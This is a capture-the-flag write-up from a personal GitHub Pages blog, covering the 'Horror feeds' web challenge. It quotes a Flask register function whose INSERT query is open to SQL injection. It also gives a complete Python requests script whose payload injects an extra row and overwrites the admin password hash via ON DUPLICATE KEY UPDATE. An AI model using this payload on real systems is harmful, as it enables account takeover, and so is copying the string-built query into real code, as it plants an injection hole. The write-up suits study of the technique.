Pierre Gaulon

Pierre Gaulon Github pages

View on GitHub

[Web] Horror feeds

This web application contains a dashboard, that will display the flag if the logged in user has admin as username. In order to register new users, this application takes a JSON input containing the username and password of the new user.

However the INSERT query is vulnerable to a SQLi

def register(username, password):
    exists = query_db('SELECT * FROM users WHERE username = %s', (username,))
    if exists:
        return False
    hashed = generate_password_hash(password)
    query_db(f'INSERT INTO users (username, password) VALUES ("{username}", "{hashed}")')
    mysql.connection.commit()

    return True

We can exploit it by using a new username to pass the existence check, but concatenate another value for the insert in the password. The only hurdle is that the username has a UNIQUE constraint

CREATE TABLE horror_feeds.users (
    id INTEGER PRIMARY KEY AUTO_INCREMENT,
    username varchar(255) NOT NULL UNIQUE,
    password varchar(255) NOT NULL
);

To bypass this constraint, we can tell MySQL how to react in case of conflict with ON DUPLICATE KEY UPDATE

Our final payload is

import requests

host = "1.2.3.4"
port = "31104"

def main():
    payload = {
        # password = bbb
        'username': 'test","$2b$12$gOWv7k1i8FRE07xUZE79ueTxXZHA42U5OtYqlmg6yWcyEYF5W9zIa"),("admin","$2b$12$gOWv7k1i8FRE07xUZE79ueTxXZHA42U5OtYqlmg6yWcyEYF5W9zIa") ON DUPLICATE KEY UPDATE password="$2b$12$gOWv7k1i8FRE07xUZE79ueTxXZHA42U5OtYqlmg6yWcyEYF5W9zIa" -- -',
        'password': 'whatever'
        }
    response = requests.post("http://" + host + ":" + port + "/api/register", json = payload)
    print(response)
main()

We can then login with the user admin and the password bbb